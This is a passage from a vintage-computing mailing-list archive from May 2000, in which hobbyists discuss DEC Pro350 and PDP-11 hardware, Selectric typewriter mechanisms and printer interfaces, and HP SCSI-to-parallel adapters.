Duell) Date: Sun Feb 27 18:51:41 2005 Subject: Ebay Altair In-Reply-To: from "Vintage Computer GAWD!" at May 11, 0 01:01:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2123 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/9191b37f/attachment.ksh From ethan_dicks at yahoo.com Thu May 11 17:58:20 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:41 2005 Subject: DECmate I (was Fwd: Re: Free Pro350 available (FOB Sunnyvale)) Message-ID: <20000511225820.24190.qmail@web613.mail.yahoo.com> --- healyzh@aracnet.com wrote: > From: healyzh@aracnet.com > Subject: Re: Free Pro350 available (FOB Sunnyvale) > Date: Thu, 11 May 2000 14:09:36 -0700 (PDT) > > > I've got a Pro350 (PDP 11 in a DECMate type case) with a ST25x hard > > BTW, that's a DECmate II or Rainbow style case. I'm not sure what the > DECmate I used for a case... A VT100. Floppies were RX02 and external. There was also apparently an RL02 interface, but I've never personally witnessed one. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jeff.kaneko at juno.com Thu May 11 18:08:13 2000 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 18:51:41 2005 Subject: PDP 11/03 for VAX Message-ID: <20000511.180813.-132363.0.jeff.kaneko@juno.com> Eric: I have such an 11/03, that was removed from a large VAX last year at my local wrecking yard. It came with an RX01, though (single drive), that has no case-- all of the electronix are mounted to a steel platform (I can email a pix if yer interested). I don't need it, now that I have a 11/23+ and an 11/73 (not to mention the uVAX II in my garage). It's heavy, but small enough ship easily (that's why I got it in the first place). If you specify what cards are supposed to come with, I can make sure they're all there. . . . Jeff On 11 May 2000 21:57:32 -0000 Eric Smith writes: > If it's otherwise going to be scrapped, I'd like to get the cards > and backplanes from the top half of the unit, and the PDP-11/03 > and RX02 disk drive. An acquaintance has an 11/780 which is missing > the PDP-11/03. However, all of the 11/780s and 11/785s I've seen > turn up in surplus places have already had the 11/03 removed. Maybe > someone thinks they're valuable, though I can't imagine why. ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From eric at brouhaha.com Thu May 11 18:19:55 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:41 2005 Subject: DECmate I (was Fwd: Re: Free Pro350 available (FOB Sunnyvale)) In-Reply-To: <20000511225820.24190.qmail@web613.mail.yahoo.com> (message from Ethan Dicks on Thu, 11 May 2000 15:58:20 -0700 (PDT)) References: <20000511225820.24190.qmail@web613.mail.yahoo.com> Message-ID: <20000511231955.30182.qmail@brouhaha.com> Zane wrote: > BTW, that's a DECmate II or Rainbow style case. I'm not sure what the > DECmate I used for a case... Ethan wrote: > A VT100. Floppies were RX02 and external. There was also apparently > an RL02 interface, but I've never personally witnessed one. Interesting. I've seen a VT78, which IIRC is a 6100 microprocessor-based system mounted in a VT52-style terminal, but I didn't know there was one in a VT100. I guess I wasn't sure exactly what a DECmate I was, since I've only managed to find the DECmate II and III. One more item for my "wanted" list. Anyone care to trade a DECmate I for a II? From eric at brouhaha.com Thu May 11 18:21:16 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:41 2005 Subject: PDP 11/03 for VAX In-Reply-To: <20000511.180813.-132363.0.jeff.kaneko@juno.com> (message from Jeffrey l Kaneko on Thu, 11 May 2000 18:08:13 -0500) References: <20000511.180813.-132363.0.jeff.kaneko@juno.com> Message-ID: <20000511232116.30194.qmail@brouhaha.com> Jeffrey l Kaneko wrote: > I have such an 11/03, that was removed from a large VAX > last year at my local wrecking yard. It came with an RX01, > though (single drive), that has no case-- all of the > electronix are mounted to a steel platform Yes, RX01 is what I meant. That was standard equipment on the 11/780 and 11/785. There's a specific suffix that designates that mounting, but AFAIK it was only used that way in the 78x. From ethan_dicks at yahoo.com Thu May 11 18:31:25 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:41 2005 Subject: DECmate I (was Fwd: Re: Free Pro350 available (FOB Sunnyvale)) Message-ID: <20000511233125.20674.qmail@web612.mail.yahoo.com> --- Eric Smith wrote: > Zane wrote: > > BTW, that's a DECmate II or Rainbow style case. I'm not sure what the > > DECmate I used for a case... > > Ethan wrote: > > A VT100. Floppies were RX02 and external. There was also apparently > > an RL02 interface, but I've never personally witnessed one. > > Interesting. I've seen a VT78, which IIRC is a 6100 microprocessor-based > system mounted in a VT52-style terminal, but I didn't know there was one > in a VT100. I guess I wasn't sure exactly what a DECmate I was, since > I've only managed to find the DECmate II and III. One more item for > my "wanted" list. Anyone care to trade a DECmate I for a II? No, but I'd consider a trade of a DECmate III for a VT78. :-) (I only have one DECmate I, one DECmate II and two DECmateIIIs, no VT78s) -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From elvey at hal.com Thu May 11 18:36:24 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> Message-ID: <200005112336.QAA23329@civic.hal.com> "John Allain" wrote: > > I have to jump in since someone brought up the Selectric. > > Has any-one here ever dismantled a Selectric? Did once > and though I thought knew mechanisms at the time it turns > out I sure didn't. The central mechanism seemed like a cross > between Dr. Nim (On Topic) and DigiComp-1. > The key presses were relayed by an almost binary series of > pushrods to a cascaded teeter-totter matrix. > The damndest mechanism I've ever seen. Anybody else have > this reaction? > Seems like a pretty good topic so I'm chiming in with this... Hi I used to work on teletypes with moving drums and type boxes. These are alway complicate machines with decoding and encoding bars that slide this way and that. The only type that is really simple is the more standard rotating drum that drives a single print hammer for each key. Think about making mechanical software that first takes a single input port status and then finds the codes to send to a couple of ports. One port describes rotation and the other lift ( or tilt ). Now think how you'd do this mechanically. Add the fact that you need to do all this in sequence so that it was completed by the time the ball hit the ribbon. It is not a simple operation. I marvel at the fact that anyone even thought it was possible to make it work. Then, I've always been fascinated by a sewing machine! Dwight From ard at p850ug1.demon.co.uk Thu May 11 17:31:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:41 2005 Subject: OT: Mailing list options In-Reply-To: <391B2BE9.4BDEBDF5@mcmanis.com> from "Chuck McManis" at May 11, 0 02:53:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1226 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/8eb73ede/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 11 17:43:52 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> from "John Allain" at May 11, 0 05:59:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/5d3bbf98/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 11 17:32:49 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:41 2005 Subject: Free Pro350 available (FOB Sunnyvale) In-Reply-To: <200005112109.OAA05562@shell1.aracnet.com> from "healyzh@aracnet.com" at May 11, 0 02:09:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 323 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/7480a368/attachment.ksh From rigdonj at intellistar.net Thu May 11 20:03:33 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:41 2005 Subject: DEC stuff In-Reply-To: References: <3.0.1.16.20000511083800.25d754f0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000511200333.143fe4c8@mailhost.intellistar.net> At 07:37 PM 5/11/00 +0100, you wrote: >> >> Hi, >> >> I was helping to sort a load of surplus test equipment yesterday and >> found a couyple of DEC computers. Since I'm not a DEC head I don't know >> anything about them so can someone tell me more about them and if they're >> worth rescueing. The first is a DEC Por 350, there are two of them. The > >The PRO 350 (Professional 350) is essentially a desktop PDP11. There's an >F11 chipset in there (like in an 11/23) linked to a somewhat strange bus. >The video display system in also on that bus (like on a PC) -- it's not a >serial terminal which is more conventional for PDP11s. You link a VR201 >(composite mono) or VR241 (colour) monitor up the machine -- I believe >the latter needs some kind of video expansion card. User input is via an >LK201 keyboard (same keyboard as the VT220, etc). Yeap, I have to go back and look for the monitor. I didn't know what it used so I couldn't pick it out. > >There's most likely an RX50 dual floppy drive in the right hand drive bay >and an RD50 or RD51 (5 or 10M winchester) in the left bay. I went through both machines today. The 350 has a RD51 and a RX50. > >There are 6 bus connectors. The front 2 are for the hard and floppy >controllers. The next 2 are for the video card and video expansion card. >The next one might contain a memory expansion card. The last one might >contain an ethernet card (if you're really lucky) or a VAX interface card >(which, IIRC contains RS232 and GPIB ports). To look at the expansion >slots, pull the cover (catches under the lip on the sides), take off the >end plate of the expansion bay (3 thumbscrews IIRC) and unplug the cables >on top of the cards (note where they all go!). Then pull the 'flag' on >the card outwards towards the right side of the machine) and turn it (I >forget which way, but it only turns one way). This spreads the contacts >in the connecotr. The board now slides out towards the right side of the >machine. I didn't pull the cards but it has a 000401, a 002004, a 001002 and a 000034. Can anyone id these? It also has two daughterboards (with memory) attached to the main circuit baord. This one is also mounted in a tower style case. I took a lot of pictures and I'll post them on the web as soon as I can. > >> other is is a Micro PDP 11/73. Both are roughly the size of a large tower > >The MicroPDP11/73 is a PDP11 using the J11 CPU chip (one of the later and >faster single-chip PDP11 CPUs, with 22 bit addressing, etc). The >backplane bus is Qbus. And from the description, it's in a BA23 cabinet, >which is one of my least favourites because it's so small that I always >manage to catch my hand on something when working in one... > >You need to take off the back panel (2 screws just below the power supply >connectors, etc) and look at the handles of the boards. Each will have an >'M-number' on it (M followed by 4 digits). If you post a list of the >numbers here, somebody can tell you what you have. This is a cool machine! I got into it today too. I found out that it has a Q-bus HP-IB card in it made by Tektronix! I saw the manuals and software for the card in the load that just came in. This machine was used a a controller for a Tektronix 7912(?) Digitizer. Besides the Tektronix card, it has a M8190, a M7551, and a M8639 card in it. Can anyone ID them? I also took a bunch of pictures of this one. I'll post them as soon as I can. Joe From richard at idcomm.com Thu May 11 19:20:40 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator References: Message-ID: <001701bfbba7$e8b6f460$0400c0a8@winbook> See embedded remarks, plz. Dick ----- Original Message ----- From: Fred Cisin (XenoSoft) To: Sent: Thursday, May 11, 2000 3:43 PM Subject: Re: Keyboard actuator > On Thu, 11 May 2000, Richard Erlacher wrote: > > > Yes, that's the "rate" for the selectric. However, there were at least two > > selectric mechanisms, and the 134.5 baud rate was for the ruggedized printer > > for the 1130 system. Those would last over a year under pretty hard useage > > (I was the user and watched the same mechanism run for about a year). > > > However, the normal desktop selectric typewriter would fall apart within a > ^^^^^^ > > very short time with a mechanical actuator. I tried this myself once, but > > was dissuaded from continuing it when a friend's selectric broke under the > > actuator he'd bought through an ad in BYTE. > I was not aware that there was a "falls apart by itself" model from IBM. The ones I had, and which I'd split with a number of friends was extracted from a building about to be domolished but belonging to the "Phone Company" (before the breakup) and the three that I got were still in the sealed box. These were definitely not "home" typewriters. There were also numerous Teletype terminals (glass TTY) with band printers and several different modems, not to mention quite a number of other fancy phone hardware items, e.g. 6-button repertory-dialing phones, etc. This was during the '70's when such things were still considered VERY fancy. > > A properly setup mechanical actuator is quite a bit LESS stressfull to the > keyboard than a human. You are probably talking about the POS "home" > model, that would fall apart within a very short time if anybody typed on > it. It was nice to have for home use, but not suitable for office usage. > > Using the keyboard actuator and a selectric as a substitute for a normal > printer seems a pretty BAD idea. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > DogEars > From technoid at cheta.net Thu May 11 19:41:27 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:41 2005 Subject: PDP8 found and available In-Reply-To: <001701bfbba7$e8b6f460$0400c0a8@winbook> Message-ID: <200005120041.UAA10615@lexington.ioa.net> This would certainly require some cash, but Ed at CPB mentioned he had found a PDP 8 this week. Any interested parties please call ED at 828-274-5963 or E-mail him at EDCPB@email.com. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From elvey at hal.com Thu May 11 19:50:38 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <200005120050.RAA24207@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > > > I have to jump in since someone brought up the Selectric. > > > > Has any-one here ever dismantled a Selectric? Did once > > Never done a Selectric. Worked on teleprinters, though, and some of those > have some _strange_ mechanisms. Olivetti had a binary->position decoder > that consists of a series of metal cylinders each with an eccentric hole > such that each one fitted over the next smaller. These were rotated into > one of 2 positions according to the state of a particular bit (one bit > for each cylinder, all cylinders could move separately), so the > overall displacement of a follower on the largest cylinder was determined > by the total binary value of all the bits. > > Creed made a paper tape reader where the holes in the tape for a > particular characeter were sampled one at a time by a series of metal > 'peckers' and the state transmitted serially by a single contact assembly > operated by a link from the peckers. > > Creed also had an amazing carriage feed mechanism consisting of a pair of > pawls opeated by a camshaft (half a turn per character IIRC) that 'walk' > along a rack fixed to the carriage. That one is almost amusing to watch. > > > and though I thought knew mechanisms at the time it turns > > out I sure didn't. The central mechanism seemed like a cross > > between Dr. Nim (On Topic) and DigiComp-1. > > The key presses were relayed by an almost binary series of > > pushrods to a cascaded teeter-totter matrix. > > FWIW, I believe the service manuals for Selectrics were available from > IBM, and maybe they still are. > > > The damndest mechanism I've ever seen. Anybody else have > > this reaction? > > Seems like a pretty good topic so I'm chiming in with this... > > > > John A. > > P.S. Don't go breaking up working ones to find out though. > > Dismantling a machine is not equivalent to breaking it up :-). It can't > be that hard to get them back together again... > > -tony > > > > > > From elvey at hal.com Thu May 11 19:52:25 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <200005120052.RAA24271@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > Dismantling a machine is not equivalent to breaking it up :-). It can't > be that hard to get them back together again... > > -tony Hi Tony I don't know about that. I remember this alarm clock. I just took out a few screws and ......... Dwight From technoid at cheta.net Thu May 11 19:45:16 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:41 2005 Subject: KIM Manual / Selectric In-Reply-To: Message-ID: <200005120057.UAA14211@lexington.ioa.net> Back in the olden days of microcomputers a printer of any type cost a bundle. One solution hobbyists use was interfacing old teletype equipment to your Kim, Atari, Apple, Aim, etc. This gave you a printer but not all the special characters a 'real' printer could produce. They were not good for correspondence.... They also ate a lot of current and were obnoxiously loud. I.B.M. Selectric typewriters were dirt common in offices and still cost a bundle at $300.00 to $600.00 used. Still, a selectric had changeable typefaces (by changing the ball) and great quality. They were not very fast but Were very rugged and reliable. Even a new Selectric was a bargain compared to a Diablo or other daisy-wheel printers. The thing is that the Selectric is not a computer printer. Its a typewriter. There were a number of home-grown computer interfaces for them to make a printer but I think the most interesting one was a board with a bank of solenoids mounted on it which faced the keyboard of the typewriter. When a solenoid was actuated it struck the key below it on the typewriter's keyboard.... This was a simple interface which just bolted on top of the existing keyboard without any mods to I.B.M.'s gear which would void your warranty. The Selectric option was beyond my financial means at the time. I ended up settling for a Western Electric teletype for a couple of years until I got a Brother EP22 thermal typewriter with an RS232 jack on it. Quality was good if not excellent, it was GOBS quieter than the teletype which made my folks happy, and could print on regular paper if you used a thermal transfer ribbon instead of thermal paper. Neither the WE teletype nor the EP22 would allow me to print my Hitchhiker's Guide or Zork sessions as these games were 'boot' games with thier own dos. Since the Atari 8-bit did not have a resident Serial printer handler, I could not print from an Infocom game. The EP22 was excellent for code printouts and most other things. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From ernestls at home.com Thu May 11 21:17:57 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe Sent: Thursday, May 11, 2000 12:18 PM To: classiccmp@classiccmp.org Subject: Re: Couple of cool HP 110/150 finds > >At 10:47 PM 5/2/00 -0700, Earnest said something about: >>Today, I was given a bunch of interesting vintage items. >> HP 88396 SCSI to parrallel interface. Did you ever find out more about this? I just picked up one of one yesterday with the cables. The other end of the cable that fits the DB-25 connector has a male Centronics style connector on it. The SCSI port has a feed-through type terminator on it. Attached to that is a cable that has a micro-SCSI connector on the other end of it. FWIW the box says "same functionality as 88395". Joe No, I haven't found anything out about it at all. I haven't really been looking though, as I'm working on some other things with my Apple IIe. To tell you the truth, I've been putting off working with my HP 150/110/110+ stuff because I want to be able to devote some serious focus time to them. My 150 needs to be re-setup I think, and that'll be a bit complicated for me since I haven't set one up from scratch before. I have more manuals for it than I know what to do with, so I shouldn't have to hammer you with to many questions. By the way, I found a new disk for the 150 Touchscreen: Advance Link Master#3 (45431-13003) A.01.01 2435 Upload A.01.02 Monitor 3000 A.02.04 Are you familiar with this bit of software? I'm assuming that it's comm software for linking a 110/110+ to the 150 but I'm not sure. I also picked up a 110+ with some manuals but no software. I'm not sure if there even was software for the 110 series, since they're ROM based systems. Ernest From cem14 at cornell.edu Thu May 11 22:48:59 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds (HP88396/395) In-Reply-To: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <3.0.2.32.20000511234859.01216d7c@postoffice3.mail.cornell.edu> At 02:17 PM 5/11/00 -0500, Joe wrote: >>>Today, I was given a bunch of interesting vintage items. >>> HP 88396 SCSI to parrallel interface. > > Did you ever find out more about this? > I just picked up one of one yesterday with the cables. The other end of >the cable that fits the DB-25 connector has a male Centronics style >connector on it. The SCSI port has a feed-through type terminator on it. >Attached to that is a cable that has a micro-SCSI connector on the other >end of it. FWIW the box says "same functionality as 88395". > > Joe I also have an 88395. It has been a puzzle for me. The enclosure is the same of such HPIL gadgets as the 82164 and 82165. However, the power supply connector is different; mine in fact had a big wart xformer attached made by AT&T and rated 20VAC, 2A, and marked "security isolation transformer". Inside, there is an MC68B09FN uController, an NCR SCSI chip, an MB8464-15 static ram, a 28 pin ROM, bridge+filter+regulator, and finally, what seems like too much glue logic (14 chips) near the parallel port. In particular, there is a 20 pin quad (TI 901FF) somewhere between the data bus and the paralell port. Perhaps some clocked parallel I/O? or a FIFO? Seems to me that they were trying to increase the speed of the parallel port to meet that of the SCSI chip at the other end. The chips were all manufactured in '88 or before, so I'd say this was built in '89 . This was a device designed to provide SCSI connectivity to something that had parallel ports and no easy way of adding other cards; I don't think that it was intended for Vectras. I suspect that this was designed to give the HPIB-based 9000-300 systems (which had a parallel port) the opportunity to talk to SCSI tape drives, perhaps even HD's (though not for boot devices, I'm sure). 1989 is about the right time; it was then that it became clear that HPIB hard disks were a dead end. carlos From ethan_dicks at yahoo.com Thu May 11 23:16:02 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:41 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) Message-ID: <20000512041602.18478.qmail@web614.mail.yahoo.com> --- technoid@cheta.net wrote:> Back in the olden days of microcomputers a printer of any type cost a> bundle...Oh, yeah.> ...I think the most interesting one was a board> with a bank of solenoids mounted on it which faced the keyboard of the> typewriter.Because my mother had the typewriter, I wanted that device so bad. I justcouldn't afford it as a teenager.> Neither the WE teletype nor the EP22 would allow me to print my Hitchhiker's> Guide or Zork sessions as these games were 'boot' games with thier own dos.> Since the Atari 8-bit did not have a resident Serial printer handler, I could> not print from an Infocom game.By the time I could afford a printer, I had a Commodore-64 to drive it. Theprinter was an ancient Centronics that had two print heads - one for columns1 through 80 and another for 81 through 132. It had a genuine Centronicsinterface, of course. I built a cable for the user port and wrote a handlerthat fit in the cassette buffer and wedged in the OS routine for CHROUT. Istill have some Infocom transcripts from that printer as well as some ScottAdams disassembly from a game ripper I wrote in BASIC.I used to customize my Infocom environment in several ways before playingthe older games - I would load the PET font (captured by moving the characterROM to a regular expansion socket and typing the save command blind into TIM,the PET's ROM-based machine language monitor), change the color to green onblack and load my parallel printer driver before starting a session.I was such an Infocom afficianado that I eventually disassembled the oldest(and simplest) version of the C-64 ZIP (Zork Implementation Program, thegame engine) and have recompiled it to work on the VIC-20 (with enough RAM)and the BASIC 2.0 PET (I haven't gone back to find which zero-page locationsare getting stomped by the CHROUT routine in the kernal in BASIC 4.0).As an avid fan, it was a blast beta-testing "Return To Zork". It wasn't agreat game, but the coolest part was watching my bug reports turn intodetectable improvements in the game. I also pitched Infocom about portingRtZ to the Amiga, but it never happened. I got the underlying engine workingas a demonstration (text only, no graphics), but the project was cancelled dueto lack of expected financial reward.Needless to say, I've spent many an hour playing and writing adventures. Printing... oh, yeah... this post started off about printing... yeah,that, too. :-)-ethan Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. --------------------------------- Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000511/edff7ac8/attachment.html From mikeford at socal.rr.com Thu May 11 23:00:16 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:41 2005 Subject: Selectric II or III ribbons In-Reply-To: <000001bfbb94$21bbc150$0e0301ac@dba00802.databaseamerica.com> References: Message-ID: Since we are talking Selectric, I have a box of new ribbons. At least one carton of 6 or 8 ribbons is for the Selectric II or III, some are for Qume, some I have no clue. If these sound like $5 of adventure plus shipping to a list member, tell me soon, otherwise I plan to rack in the big bucks on eBay. From mrdos at swbell.net Thu May 11 00:20:46 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:51:41 2005 Subject: KIM Manual / Selectric Message-ID: <007401bfbb08$c9f0d7c0$21703ed8@compaq> The IBM MagCard and MagCard II used the selectric in an interesting way. The MagCard II was a large (and HEAVY) box connected to a Selectric II with a very thick cable. The user would type a document on the typewriter. Then, they would insert a small magnetic card into the large box, and press a button on the typewriter. The document would then be saved on the card. To recall a document, the user would insert the card, and press a key on the typewriter. The typewriter would then type the document out on paper. There are lots of connectors inside the "large box" labeled things like OPTION and PERIPHERAL. Using a MagCard or MagCard II would probably be the easiest way to interface a Selectric to a computer. I have a book that has a picture of a unit very much like my MagCard II, except that it uses Magnetic Tapes instead of Cards. It's really fun to watch the MagCard II type out documents from the cards. It's a lot faster than I thought a Selectric could be. -----Original Message----- From: technoid@cheta.net To: classiccmp@classiccmp.org Date: Thursday, May 11, 2000 8:09 PM Subject: Re: KIM Manual / Selectric >Back in the olden days of microcomputers a printer of any type cost a >bundle. One solution hobbyists use was interfacing old teletype equipment >to your Kim, Atari, Apple, Aim, etc. This gave you a printer but not all >the special characters a 'real' printer could produce. They were not good >for correspondence.... They also ate a lot of current and were obnoxiously >loud. > >I.B.M. Selectric typewriters were dirt common in offices and still cost a >bundle at $300.00 to $600.00 used. Still, a selectric had changeable >typefaces (by changing the ball) and great quality. They were not very >fast but Were very rugged and reliable. Even a new Selectric was a bargain >compared to a Diablo or other daisy-wheel printers. > >The thing is that the Selectric is not a computer printer. Its a >typewriter. There were a number of home-grown computer interfaces for >them to make a printer but I think the most interesting one was a board >with a bank of solenoids mounted on it which faced the keyboard of the >typewriter. When a solenoid was actuated it struck the key below it on >the typewriter's keyboard.... This was a simple interface which just >bolted on top of the existing keyboard without any mods to I.B.M.'s gear >which would void your warranty. > >The Selectric option was beyond my financial means at the time. I ended >up settling for a Western Electric teletype for a couple of years until I >got a Brother EP22 thermal typewriter with an RS232 jack on it. Quality >was good if not excellent, it was GOBS quieter than the teletype which >made my folks happy, and could print on regular paper if you used a >thermal transfer ribbon instead of thermal paper. Neither the WE teletype >nor the EP22 would allow me to print my Hitchhiker's Guide or Zork >sessions as these games were 'boot' games with thier own dos. Since the >Atari 8-bit did not have a resident Serial printer handler, I could not >print from an Infocom game. The EP22 was excellent for code printouts and >most other things. > > >-- >----------------------------------------------------------- >Jeffrey S. Worley >Complete Computer Services >30 Greenwood Rd. >Asheville, NC 28803 >828-274-5781 0900-1800 weekdays >Who is General Failure and why is he reading my hard disk? >Technoid@Cheta.net >----------------------------------------------------------- > From donm at cts.com Fri May 12 00:29:24 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds (HP88396/395) In-Reply-To: <3.0.2.32.20000511234859.01216d7c@postoffice3.mail.cornell.edu> Message-ID: On Thu, 11 May 2000, Carlos Murillo wrote: > At 02:17 PM 5/11/00 -0500, Joe wrote: > >>>Today, I was given a bunch of interesting vintage items. > >>> HP 88396 SCSI to parrallel interface. > > > > Did you ever find out more about this? > > I just picked up one of one yesterday with the cables. The other end of > >the cable that fits the DB-25 connector has a male Centronics style > >connector on it. The SCSI port has a feed-through type terminator on it. > >Attached to that is a cable that has a micro-SCSI connector on the other > >end of it. FWIW the box says "same functionality as 88395". > > > > Joe > > I also have an 88395. It has been a puzzle for me. The enclosure > is the same of such HPIL gadgets as the 82164 and 82165. However, > the power supply connector is different; mine in fact had a big > wart xformer attached made by AT&T and rated 20VAC, 2A, and marked > "security isolation transformer". Carlos, if the wart is at the end of the mains cable, and the application unit cable ends up in a 4-pin thing that looks like the head of an old putter, it is a twin to one that I have that runs an HP Deskjet printer. The output is 20VAC center-tapped. - don > Inside, there is an MC68B09FN uController, an NCR SCSI chip, > an MB8464-15 static ram, a 28 pin ROM, bridge+filter+regulator, > and finally, what seems like too much glue logic (14 chips) near > the parallel port. In particular, there is a 20 pin quad (TI 901FF) > somewhere between the data bus and the paralell port. Perhaps > some clocked parallel I/O? or a FIFO? Seems to me that they were > trying to increase the speed of the parallel port to meet that of the > SCSI chip at the other end. The chips were all manufactured in '88 or > before, so I'd say this was built in '89 . This was a device > designed to provide SCSI connectivity to something that had parallel > ports and no easy way of adding other cards; I don't think that it > was intended for Vectras. I suspect that this was designed to > give the HPIB-based 9000-300 systems (which had a parallel port) the > opportunity to talk to SCSI tape drives, perhaps even HD's (though > not for boot devices, I'm sure). 1989 is about the right time; > it was then that it became clear that HPIB hard disks were a dead end. > > carlos > > From dpeschel at eskimo.com Fri May 12 00:50:04 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: from "allisonp@world.std.com" at May 11, 2000 09:33:55 AM Message-ID: <200005120550.WAA28478@eskimo.com> Allison Parent wrote: > > Fred Cisin wrote... > > > It is vitally important that you not exceed 14.8 characters per second on > > > Selectrics. > > > > ... or what? Does the Balls-O-Meter wear out? :) > > Like most typewriters it's mechancical and if driven to fast it will jam > and do bad things. Yes, I understand that, but I was also wondering why the precise speed of 14.8 characters per second. Besides, "Balls-O-Meter" is fun to work into a conversation. I'm not sure if all Selectrics have them, though (I think the early ones do). -- Derek From ernestls at home.com Fri May 12 01:03:49 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds (12 HP-IB cables!) In-Reply-To: Message-ID: <000001bfbbd7$d7de5c20$59a40b18@C721564-A.sttln1.wa.home.com> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330189024 If you need HP-IB cables, then you might want to check out this auction. From fmc at reanimators.org Fri May 12 01:09:32 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: "Ernest"'s message of "Thu, 11 May 2000 19:17:57 -0700" References: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.com> Message-ID: <200005120609.XAA17961@daemonweed.reanimators.org> "Ernest" wrote: > By the way, I found a new disk for the 150 Touchscreen: > > Advance Link Master#3 (45431-13003) A.01.01 2435 > Upload A.01.02 > Monitor 3000 A.02.04 > > Are you familiar with this bit of software? I'm assuming that it's comm > software for linking a 110/110+ to the 150 but I'm not sure. No, it's comm software for linking a 150 to an HP3000. AdvanceLink is an HP terminal emulator of sorts (let's face it, most of the terminal emulation is in the 150's firmware) with a so-so scripting language and upload/download capabilities. It came on more than one disk, I think that is disk 3 of the set, and I think it's got the stuff for uploading the HP3000 side of the file-transfer software to the 3000. > I 